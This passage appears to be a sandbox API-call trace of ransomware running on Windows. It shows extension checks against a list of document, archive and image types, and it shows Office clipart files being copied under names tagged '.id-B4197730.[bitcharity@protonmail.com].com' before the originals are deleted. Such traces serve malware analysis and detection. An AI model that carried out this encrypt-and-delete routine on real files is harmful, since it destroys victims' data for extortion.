lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString=".xls") returned 4 [0298.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.741] lstrlenW (lpString=".xlsx") returned 5 [0298.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.741] lstrlenW (lpString=".ppt") returned 4 [0298.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.741] lstrlenW (lpString=".zip") returned 4 [0298.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.741] lstrlenW (lpString=".rar") returned 4 [0298.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString=".bz2") returned 4 [0298.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString=".7z") returned 3 [0298.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.741] lstrlenW (lpString=".dbf") returned 4 [0298.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.741] lstrlenW (lpString=".1cd") returned 4 [0298.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.741] lstrlenW (lpString=".jpg") returned 4 [0298.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.741] lstrlenW (lpString=".doc") returned 4 [0298.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString=".docx") returned 5 [0298.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.741] lstrlenW (lpString=".pdf") returned 4 [0298.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString=".xls") returned 4 [0298.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.742] lstrlenW (lpString=".xlsx") returned 5 [0298.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.742] lstrlenW (lpString=".ppt") returned 4 [0298.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.742] lstrlenW (lpString=".zip") returned 4 [0298.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.742] lstrlenW (lpString=".rar") returned 4 [0298.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.742] lstrlenW (lpString=".bz2") returned 4 [0298.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.742] lstrlenW (lpString=".7z") returned 3 [0298.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.742] lstrlenW (lpString=".dbf") returned 4 [0298.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.742] lstrlenW (lpString=".1cd") returned 4 [0298.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.742] lstrlenW (lpString=".jpg") returned 4 [0298.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.742] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.742] lstrlenW (lpString="FD02088_.WMF") returned 12 [0298.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0298.743] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=3696) returned 1 [0298.743] CloseHandle (hObject=0x10c8) returned 1 [0298.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0298.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0298.743] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.743] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.743] GetLastError () returned 0x0 [0298.743] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xe70, lpOverlapped=0x0) returned 1 [0298.763] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xe80, lpOverlapped=0x0) returned 1 [0298.764] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.764] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.764] SetEndOfFile (hFile=0x10b8) returned 1 [0298.764] CloseHandle (hObject=0x10b8) returned 1 [0298.764] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.764] SetEndOfFile (hFile=0x10c8) returned 1 [0298.765] CloseHandle (hObject=0x10c8) returned 1 [0298.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0298.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.766] lstrlenW (lpString=".doc") returned 4 [0298.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.766] lstrlenW (lpString=".docx") returned 5 [0298.766] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.766] lstrlenW (lpString=".pdf") returned 4 [0298.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.766] lstrlenW (lpString=".xls") returned 4 [0298.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.766] lstrlenW (lpString=".xlsx") returned 5 [0298.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.766] lstrlenW (lpString=".ppt") returned 4 [0298.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.766] lstrlenW (lpString=".zip") returned 4 [0298.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.766] lstrlenW (lpString=".rar") returned 4 [0298.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.766] lstrlenW (lpString=".bz2") returned 4 [0298.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.766] lstrlenW (lpString=".7z") returned 3 [0298.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.766] lstrlenW (lpString=".dbf") returned 4 [0298.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.766] lstrlenW (lpString=".1cd") returned 4 [0298.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.766] lstrlenW (lpString=".jpg") returned 4 [0298.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.767] lstrlenW (lpString=".doc") returned 4 [0298.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.767] lstrlenW (lpString=".docx") returned 5 [0298.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.767] lstrlenW (lpString=".pdf") returned 4 [0298.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.767] lstrlenW (lpString=".xls") returned 4 [0298.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.767] lstrlenW (lpString=".xlsx") returned 5 [0298.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.767] lstrlenW (lpString=".ppt") returned 4 [0298.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.767] lstrlenW (lpString=".zip") returned 4 [0298.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.767] lstrlenW (lpString=".rar") returned 4 [0298.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.767] lstrlenW (lpString=".bz2") returned 4 [0298.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.767] lstrlenW (lpString=".7z") returned 3 [0298.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.767] lstrlenW (lpString=".dbf") returned 4 [0298.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.767] lstrlenW (lpString=".1cd") returned 4 [0298.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0298.768] lstrlenW (lpString=".jpg") returned 4 [0298.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.768] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.768] lstrlenW (lpString="FD02115_.WMF") returned 12 [0298.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0298.768] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=4660) returned 1 [0298.768] CloseHandle (hObject=0x10c8) returned 1 [0298.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220 [0298.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0298.769] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.769] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.769] GetLastError () returned 0x0 [0298.769] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x1234, lpOverlapped=0x0) returned 1 [0298.981] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1240, lpOverlapped=0x0) returned 1 [0298.982] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.982] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.982] SetEndOfFile (hFile=0x10b8) returned 1 [0298.982] CloseHandle (hObject=0x10b8) returned 1 [0298.982] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.983] SetEndOfFile (hFile=0x10c8) returned 1 [0298.983] CloseHandle (hObject=0x10c8) returned 1 [0298.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0298.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.984] lstrlenW (lpString=".doc") returned 4 [0298.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.984] lstrlenW (lpString=".docx") returned 5 [0298.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.984] lstrlenW (lpString=".pdf") returned 4 [0298.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.984] lstrlenW (lpString=".xls") returned 4 [0298.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.984] lstrlenW (lpString=".xlsx") returned 5 [0298.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.984] lstrlenW (lpString=".ppt") returned 4 [0298.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.984] lstrlenW (lpString=".zip") returned 4 [0298.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.984] lstrlenW (lpString=".rar") returned 4 [0298.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.984] lstrlenW (lpString=".bz2") returned 4 [0298.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.984] lstrlenW (lpString=".7z") returned 3 [0298.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.984] lstrlenW (lpString=".dbf") returned 4 [0298.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.984] lstrlenW (lpString=".1cd") returned 4 [0298.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.985] lstrlenW (lpString=".jpg") returned 4 [0298.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.985] lstrlenW (lpString=".doc") returned 4 [0298.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString=".docx") returned 5 [0298.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.985] lstrlenW (lpString=".pdf") returned 4 [0298.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString=".xls") returned 4 [0298.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.985] lstrlenW (lpString=".xlsx") returned 5 [0298.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.985] lstrlenW (lpString=".ppt") returned 4 [0298.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.985] lstrlenW (lpString=".zip") returned 4 [0298.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.985] lstrlenW (lpString=".rar") returned 4 [0298.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString=".bz2") returned 4 [0298.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString=".7z") returned 3 [0298.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.985] lstrlenW (lpString=".dbf") returned 4 [0298.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.985] lstrlenW (lpString=".1cd") returned 4 [0298.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0298.985] lstrlenW (lpString=".jpg") returned 4 [0298.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.986] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.986] lstrlenW (lpString="HH00057_.WMF") returned 12 [0298.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0298.986] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=3764) returned 1 [0298.986] CloseHandle (hObject=0x10c8) returned 1 [0298.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0298.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0298.987] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.987] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.987] GetLastError () returned 0x0 [0298.987] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xeb4, lpOverlapped=0x0) returned 1 [0299.034] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec0, lpOverlapped=0x0) returned 1 [0299.035] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.035] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.035] SetEndOfFile (hFile=0x10b8) returned 1 [0299.035] CloseHandle (hObject=0x10b8) returned 1 [0299.035] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.036] SetEndOfFile (hFile=0x10c8) returned 1 [0299.036] CloseHandle (hObject=0x10c8) returned 1 [0299.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0299.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0299.037] lstrlenW (lpString=".doc") returned 4 [0299.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.037] lstrlenW (lpString=".docx") returned 5 [0299.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.037] lstrlenW (lpString=".pdf") returned 4 [0299.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.037] lstrlenW (lpString=".xls") returned 4 [0299.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.037] lstrlenW (lpString=".xlsx") returned 5 [0299.037] lstrcmpiW (lpString1=".xlsx", 